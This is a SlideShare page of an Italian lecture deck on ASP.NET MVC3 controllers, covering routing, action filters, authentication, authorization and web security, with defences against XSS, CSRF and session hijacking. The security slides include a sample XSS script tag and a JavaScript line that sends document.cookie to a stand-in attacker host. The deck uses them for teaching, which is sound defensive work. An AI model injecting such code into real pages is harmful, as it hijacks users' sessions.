SlideShare a Scribd company logo
1 of 60
Download to read offline
Sviluppo applicazioni web e linguaggio HTML

                               LEZIONE 07




ASP.NET
Model View Controller
Processa le richieste
degli utenti compilando
il modello e scegliendo
la view da renderizzare




    Model
Come fanno le richieste
ad arrivare al Controller?
Attraverso la definizione
di regole
di Routing
Una regola di routing
traduce l’indirizzo di una
richiesta in una
serie di parametri
Una regola di routing
traduce l’indirizzo di una
richiesta in una
serie di parametri
Tra questi parametri
devono sempre esserci
controller e action
… e poi?
… e poi tocca a noi
1   routes.MapRoute (
       "PostByDate",
       "date/{year}/{month}",
       new { controller = "Post",
             action = "ByDate",
             year = DateTime.Now.Year,
             month = DateTime.Now.Month
            }
    );
… e poi tocca a noi
2   public ActionResult ByDate(int year, int month)
    {
      IList<Post> posts = new List<Post>();
      using (var db = new BlogContext())
      {
        posts = (from p in db.Posts
                 where p.PublishedDate.Year == year
                 && p.PublishedDate.Month == month
                 select p).ToList();
      }
      return View("List", posts);
    }
This slide is intentionally blank
Una delle caratteristiche
del pattern MVC è la
Separation of Concerns
… ma ci sono degli aspetti
dell’applicazione che sono
“trasversali”
Il risultato è spesso una
duplicazione di codice
In questi casi possiamo
utilizzare gli ActionFilter
Attributi che decorano le
action del controller che
vogliamo intercettare
Scriviamo un filtro per
salvare le statistiche sul
numero di pagine visitate
Se il filtro deve essere
applicato a tutte le action
posso aggiungerlo alla
lista dei GlobalFilters nel
file global.asax
This slide is intentionally blank
La sicurezza di una
applicazione viene garantita
tra le altre cose da …
1   Riconoscimento
    dell’utente collegato
1   Riconoscimento
    dell’utente collegato

2   Verifica dell’autorizzazione
    a procedere
1   Riconoscimento
    dell’utente collegato

2   Verifica dell’autorizzazione
    a procedere

3   Protezione dalle minacce
    facilitate dalle vulnerabilità
1 Riconoscimento
  dell’utente collegato
Per identificare un utente
utilizziamo l’autenticazione
tramite form
Per specificare che una
action richiede il
riconoscimento dell’utente
usiamo il filtro
AuthorizeAttribute
Il filtro controlla nell’HttpContext
se l’utente è autenticato, se non
è così visualizza la pagina di
login specificata nel web.config
A questo punto l’utente ci
fornisce le sue credenziali …
                      Utilizza il membership
                      provider integrato(ovvero
                      gli utenti sono salvati nel
                      database ASPNETDB.mdf)
Normalmente però le
credenziali dobbiamo
verificarle noi, dall’elenco
degli utenti della nostra
applicazione
Verifica dell’autorizzazione a
Dependency
 procedere
Injection
Anche se l’utente è
conosciuto non è detto che
abbia i permessi per
svolgere una determinata
operazione
L’accesso può essere
regolato per utente e/o per
ruolo, generalmente però i
permessi sono specifici
dell’applicazione
Ad esempio un autore non
può modificare i post di un
altro autore
3  Protezione dalle minacce
facilitate dalle vulnerabilità
Quali vulnerabilità,
quali minacce?
Cross Site Scripting
Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata.
Cross Site Scripting
Permette ad un hacker di inserire
codice al fine di modificare il
contenuto della pagina web
visitata. In questo modo è possibile
sottrarre dati sensibili presenti nel
browser degli utenti che visiteranno
successivamente quella pagina.

                            Fonte: Wikipedia
Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html …
Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
Come può accadere?
Se permetto agli utenti del mio
sito di inserire contenuti in html,
devo disabilitare il controllo degli
input con [ValidateInput=false]
E se poi qualcuno scrive del
codice javascript?

<script>alert(„XSS‟)</script>
Come difendersi?
Come difendersi?
Encoding quando serve
e validazione degli input
lato server, ovvero pulizia
dai tag indesiderati
Cross Site Request Forgery
Permette ad un hacker di
sfruttare l‟autenticazione
tramite cookie per effettuare
una richiesta cross-domain a
nome dell‟utente (ovviamente
ignaro di tutto).
Come può accadere?
Accade se visito la pagina nella
quale un hacker ha inserito un link
con i parametri “giusti” (oppure
un codice che esegue un post
automatico) dopo essermi
autenticato sul sito vulnerabile a
tale attacco.
Come difendersi?
Indirizzo dal quale

Come difendersi?     è stata inviata la
                     richiesta



Controllare il referrer della
richiesta oppure utilizzare
un token fornito
dall’Antiforgery Helper
Antiforgery Helper
1   @using(Html.BeginForm()) {
         @Html.AntiForgeryToken()
        <!-- controlli di input -->
    }

2   [HttpPost]
    [ValidateAntiForgeryToken]
    public ActionResult Change(string pwd)
    {
Session Hijacking
Permette ad un hacker di
sfruttare la vulnerabilità XSS per
“rubare” l‟identità di un utente
data dal suo cookie di
autenticazione.
Come può accadere?
L‟hacker nasconde dietro
l‟indirizzo di una immagine una
chiamata al suo sito passndo
come parametro il valore del
cookie dell‟utente.
img.src = “http://sito.hacker/ruba_identita?cookies=“+
                                 encodeURI(document.cookie);
Come difendersi?
Come difendersi?
Impedire l‟accesso al cookie
tramite script settando a true la
proprietà HttpOnly (disponibile
da IE 6 SP1).
continua?
Credits
Le immagini contenute in questa presentazione
hanno licenza Creative Commons


Slide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/
Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/
Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/
Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/
Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/
Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/
Thank You   MANUEL SCAPOLAN
            website: www.manuelscapolan.it
            twitter: manuelscapolan
            e-mail: info@manuelscapolan.it

More Related Content

Viewers also liked

IDC CS4Real presentation
IDC CS4Real presentationIDC CS4Real presentation
IDC CS4Real presentationShai Wolkomir
 
Entity Framework 4.0 vs NHibernate
Entity Framework 4.0 vs NHibernateEntity Framework 4.0 vs NHibernate
Entity Framework 4.0 vs NHibernateManuel Scapolan
 
C# e la Framework Class Library
C# e la Framework Class LibraryC# e la Framework Class Library
C# e la Framework Class LibraryManuel Scapolan
 
Mobile first strategy, When, why ( and why Not )
Mobile first strategy, When, why ( and why Not ) Mobile first strategy, When, why ( and why Not )
Mobile first strategy, When, why ( and why Not ) Shai Wolkomir
 
Managed Extensibility Framework (MEF)
Managed Extensibility Framework (MEF)Managed Extensibility Framework (MEF)
Managed Extensibility Framework (MEF)Manuel Scapolan
 

Viewers also liked (7)

IDC CS4Real presentation
IDC CS4Real presentationIDC CS4Real presentation
IDC CS4Real presentation
 
Entity Framework 4.0 vs NHibernate
Entity Framework 4.0 vs NHibernateEntity Framework 4.0 vs NHibernate
Entity Framework 4.0 vs NHibernate
 
ASP.NET MVC Intro
ASP.NET MVC IntroASP.NET MVC Intro
ASP.NET MVC Intro
 
ASP.NET
ASP.NETASP.NET
ASP.NET
 
C# e la Framework Class Library
C# e la Framework Class LibraryC# e la Framework Class Library
C# e la Framework Class Library
 
Mobile first strategy, When, why ( and why Not )
Mobile first strategy, When, why ( and why Not ) Mobile first strategy, When, why ( and why Not )
Mobile first strategy, When, why ( and why Not )
 
Managed Extensibility Framework (MEF)
Managed Extensibility Framework (MEF)Managed Extensibility Framework (MEF)
Managed Extensibility Framework (MEF)
 

Similar to ASP.NET MVC3 - Tutti i compiti del Controller

Fun with Machine Translation APIs
Fun with Machine Translation APIsFun with Machine Translation APIs
Fun with Machine Translation APIsMassimo Bonanni
 
Web Api – The HTTP Way
Web Api – The HTTP WayWeb Api – The HTTP Way
Web Api – The HTTP WayLuca Milan
 
Asp.Net MVC 3 - Il Model View Controller secondo Microsoft
Asp.Net MVC 3 - Il Model View Controller secondo MicrosoftAsp.Net MVC 3 - Il Model View Controller secondo Microsoft
Asp.Net MVC 3 - Il Model View Controller secondo MicrosoftStefano Benedetti
 
What's New in ASP.NET 4.5 and Visual Studio 2012
What's New in ASP.NET 4.5 and Visual Studio 2012What's New in ASP.NET 4.5 and Visual Studio 2012
What's New in ASP.NET 4.5 and Visual Studio 2012Andrea Dottor
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaSimone Onofri
 
Hackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriHackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriCodemotion
 
Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010Fabrizio Bernabei
 
Da A a Bot con un pizzico di Cognitive
Da A a Bot con un pizzico di CognitiveDa A a Bot con un pizzico di Cognitive
Da A a Bot con un pizzico di CognitiveAlessio Iafrate
 
Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...
Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...
Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...Federico Cergol
 
September 2010 - Gatein
September 2010 - GateinSeptember 2010 - Gatein
September 2010 - GateinJBug Italy
 
ASP.NET Core - dove siamo arrivati
ASP.NET Core - dove siamo arrivatiASP.NET Core - dove siamo arrivati
ASP.NET Core - dove siamo arrivatiAndrea Dottor
 
How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript Stefano Marchisio
 
Asp.Net MVC 2 :: VS 2010 Community Tour
Asp.Net MVC 2 :: VS 2010 Community TourAsp.Net MVC 2 :: VS 2010 Community Tour
Asp.Net MVC 2 :: VS 2010 Community TourAndrea Balducci
 
Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini Whymca
 

Similar to ASP.NET MVC3 - Tutti i compiti del Controller (20)

Fun with Machine Translation APIs
Fun with Machine Translation APIsFun with Machine Translation APIs
Fun with Machine Translation APIs
 
Web Api – The HTTP Way
Web Api – The HTTP WayWeb Api – The HTTP Way
Web Api – The HTTP Way
 
Global azure2020 identityserver
Global azure2020 identityserverGlobal azure2020 identityserver
Global azure2020 identityserver
 
Novità di Asp.Net 4.0
Novità di Asp.Net 4.0Novità di Asp.Net 4.0
Novità di Asp.Net 4.0
 
Asp.Net MVC 3 - Il Model View Controller secondo Microsoft
Asp.Net MVC 3 - Il Model View Controller secondo MicrosoftAsp.Net MVC 3 - Il Model View Controller secondo Microsoft
Asp.Net MVC 3 - Il Model View Controller secondo Microsoft
 
What's New in ASP.NET 4.5 and Visual Studio 2012
What's New in ASP.NET 4.5 and Visual Studio 2012What's New in ASP.NET 4.5 and Visual Studio 2012
What's New in ASP.NET 4.5 and Visual Studio 2012
 
Virtual Agency
Virtual AgencyVirtual Agency
Virtual Agency
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
 
HTML5 Security
HTML5 SecurityHTML5 Security
HTML5 Security
 
Hackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone OnofriHackers vs. Developers: HTML5 Security by Simone Onofri
Hackers vs. Developers: HTML5 Security by Simone Onofri
 
Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010Asp.net 4 Community Tour VS2010
Asp.net 4 Community Tour VS2010
 
Yagwto
YagwtoYagwto
Yagwto
 
Da A a Bot con un pizzico di Cognitive
Da A a Bot con un pizzico di CognitiveDa A a Bot con un pizzico di Cognitive
Da A a Bot con un pizzico di Cognitive
 
Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...
Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...
Sviluppo di un sistema per la classificazione di URL di phishing mediante tec...
 
Owasp parte3
Owasp parte3Owasp parte3
Owasp parte3
 
September 2010 - Gatein
September 2010 - GateinSeptember 2010 - Gatein
September 2010 - Gatein
 
ASP.NET Core - dove siamo arrivati
ASP.NET Core - dove siamo arrivatiASP.NET Core - dove siamo arrivati
ASP.NET Core - dove siamo arrivati
 
How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript How create a single page apps using html5 and javascript
How create a single page apps using html5 and javascript
 
Asp.Net MVC 2 :: VS 2010 Community Tour
Asp.Net MVC 2 :: VS 2010 Community TourAsp.Net MVC 2 :: VS 2010 Community Tour
Asp.Net MVC 2 :: VS 2010 Community Tour
 
Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini Sviluppo di servizi REST per Android - Luca Masini
Sviluppo di servizi REST per Android - Luca Masini
 

More from Manuel Scapolan

More from Manuel Scapolan (13)

TFS and Scrum - Lessons Learned
TFS and Scrum - Lessons LearnedTFS and Scrum - Lessons Learned
TFS and Scrum - Lessons Learned
 
Scrum? E' come fare il bucato!
Scrum? E' come fare il bucato!Scrum? E' come fare il bucato!
Scrum? E' come fare il bucato!
 
Domain Driven Design e CQRS
Domain Driven Design e CQRSDomain Driven Design e CQRS
Domain Driven Design e CQRS
 
NOSQL
NOSQLNOSQL
NOSQL
 
Knockout.js
Knockout.jsKnockout.js
Knockout.js
 
ASP.NET MVC 3 - Trasportare i dati nel Model
ASP.NET MVC 3 - Trasportare i dati nel ModelASP.NET MVC 3 - Trasportare i dati nel Model
ASP.NET MVC 3 - Trasportare i dati nel Model
 
JavaScript Object Oriented
JavaScript Object OrientedJavaScript Object Oriented
JavaScript Object Oriented
 
JavaScript
JavaScriptJavaScript
JavaScript
 
HTML e CSS
HTML e CSSHTML e CSS
HTML e CSS
 
Tutte le novità di ASP.NET MVC3
Tutte le novità di ASP.NET MVC3Tutte le novità di ASP.NET MVC3
Tutte le novità di ASP.NET MVC3
 
Dai delegati a LINQ con C#
Dai delegati a LINQ con C#Dai delegati a LINQ con C#
Dai delegati a LINQ con C#
 
AntiPatterns: i vizi del programmatore
AntiPatterns: i vizi del programmatoreAntiPatterns: i vizi del programmatore
AntiPatterns: i vizi del programmatore
 
OOP with C#
OOP with C#OOP with C#
OOP with C#
 

ASP.NET MVC3 - Tutti i compiti del Controller

  • 1. Sviluppo applicazioni web e linguaggio HTML LEZIONE 07 ASP.NET Model View Controller
  • 2. Processa le richieste degli utenti compilando il modello e scegliendo la view da renderizzare Model
  • 3. Come fanno le richieste ad arrivare al Controller?
  • 4. Attraverso la definizione di regole di Routing
  • 5. Una regola di routing traduce l’indirizzo di una richiesta in una serie di parametri
  • 6. Una regola di routing traduce l’indirizzo di una richiesta in una serie di parametri
  • 7. Tra questi parametri devono sempre esserci controller e action
  • 9. … e poi tocca a noi 1 routes.MapRoute ( "PostByDate", "date/{year}/{month}", new { controller = "Post", action = "ByDate", year = DateTime.Now.Year, month = DateTime.Now.Month } );
  • 10. … e poi tocca a noi 2 public ActionResult ByDate(int year, int month) { IList<Post> posts = new List<Post>(); using (var db = new BlogContext()) { posts = (from p in db.Posts where p.PublishedDate.Year == year && p.PublishedDate.Month == month select p).ToList(); } return View("List", posts); }
  • 11. This slide is intentionally blank
  • 12. Una delle caratteristiche del pattern MVC è la Separation of Concerns
  • 13. … ma ci sono degli aspetti dell’applicazione che sono “trasversali”
  • 14. Il risultato è spesso una duplicazione di codice
  • 15. In questi casi possiamo utilizzare gli ActionFilter
  • 16. Attributi che decorano le action del controller che vogliamo intercettare
  • 17.
  • 18. Scriviamo un filtro per salvare le statistiche sul numero di pagine visitate
  • 19.
  • 20. Se il filtro deve essere applicato a tutte le action posso aggiungerlo alla lista dei GlobalFilters nel file global.asax
  • 21. This slide is intentionally blank
  • 22.
  • 23. La sicurezza di una applicazione viene garantita tra le altre cose da …
  • 24. 1 Riconoscimento dell’utente collegato
  • 25. 1 Riconoscimento dell’utente collegato 2 Verifica dell’autorizzazione a procedere
  • 26. 1 Riconoscimento dell’utente collegato 2 Verifica dell’autorizzazione a procedere 3 Protezione dalle minacce facilitate dalle vulnerabilità
  • 27. 1 Riconoscimento dell’utente collegato
  • 28. Per identificare un utente utilizziamo l’autenticazione tramite form
  • 29. Per specificare che una action richiede il riconoscimento dell’utente usiamo il filtro AuthorizeAttribute
  • 30. Il filtro controlla nell’HttpContext se l’utente è autenticato, se non è così visualizza la pagina di login specificata nel web.config
  • 31. A questo punto l’utente ci fornisce le sue credenziali … Utilizza il membership provider integrato(ovvero gli utenti sono salvati nel database ASPNETDB.mdf)
  • 32. Normalmente però le credenziali dobbiamo verificarle noi, dall’elenco degli utenti della nostra applicazione
  • 34. Anche se l’utente è conosciuto non è detto che abbia i permessi per svolgere una determinata operazione
  • 35. L’accesso può essere regolato per utente e/o per ruolo, generalmente però i permessi sono specifici dell’applicazione
  • 36. Ad esempio un autore non può modificare i post di un altro autore
  • 37. 3 Protezione dalle minacce facilitate dalle vulnerabilità
  • 39.
  • 40. Cross Site Scripting Permette ad un hacker di inserire codice al fine di modificare il contenuto della pagina web visitata.
  • 41. Cross Site Scripting Permette ad un hacker di inserire codice al fine di modificare il contenuto della pagina web visitata. In questo modo è possibile sottrarre dati sensibili presenti nel browser degli utenti che visiteranno successivamente quella pagina. Fonte: Wikipedia
  • 42. Come può accadere? Se permetto agli utenti del mio sito di inserire contenuti in html …
  • 43. Come può accadere? Se permetto agli utenti del mio sito di inserire contenuti in html, devo disabilitare il controllo degli input con [ValidateInput=false]
  • 44. Come può accadere? Se permetto agli utenti del mio sito di inserire contenuti in html, devo disabilitare il controllo degli input con [ValidateInput=false] E se poi qualcuno scrive del codice javascript? <script>alert(„XSS‟)</script>
  • 46. Come difendersi? Encoding quando serve e validazione degli input lato server, ovvero pulizia dai tag indesiderati
  • 47.
  • 48. Cross Site Request Forgery Permette ad un hacker di sfruttare l‟autenticazione tramite cookie per effettuare una richiesta cross-domain a nome dell‟utente (ovviamente ignaro di tutto).
  • 49. Come può accadere? Accade se visito la pagina nella quale un hacker ha inserito un link con i parametri “giusti” (oppure un codice che esegue un post automatico) dopo essermi autenticato sul sito vulnerabile a tale attacco.
  • 51. Indirizzo dal quale Come difendersi? è stata inviata la richiesta Controllare il referrer della richiesta oppure utilizzare un token fornito dall’Antiforgery Helper
  • 52. Antiforgery Helper 1 @using(Html.BeginForm()) { @Html.AntiForgeryToken() <!-- controlli di input --> } 2 [HttpPost] [ValidateAntiForgeryToken] public ActionResult Change(string pwd) {
  • 53.
  • 54. Session Hijacking Permette ad un hacker di sfruttare la vulnerabilità XSS per “rubare” l‟identità di un utente data dal suo cookie di autenticazione.
  • 55. Come può accadere? L‟hacker nasconde dietro l‟indirizzo di una immagine una chiamata al suo sito passndo come parametro il valore del cookie dell‟utente. img.src = “http://sito.hacker/ruba_identita?cookies=“+ encodeURI(document.cookie);
  • 57. Come difendersi? Impedire l‟accesso al cookie tramite script settando a true la proprietà HttpOnly (disponibile da IE 6 SP1).
  • 59. Credits Le immagini contenute in questa presentazione hanno licenza Creative Commons Slide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/ Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/ Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/ Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/ Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/ Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/
  • 60. Thank You MANUEL SCAPOLAN website: www.manuelscapolan.it twitter: manuelscapolan e-mail: info@manuelscapolan.it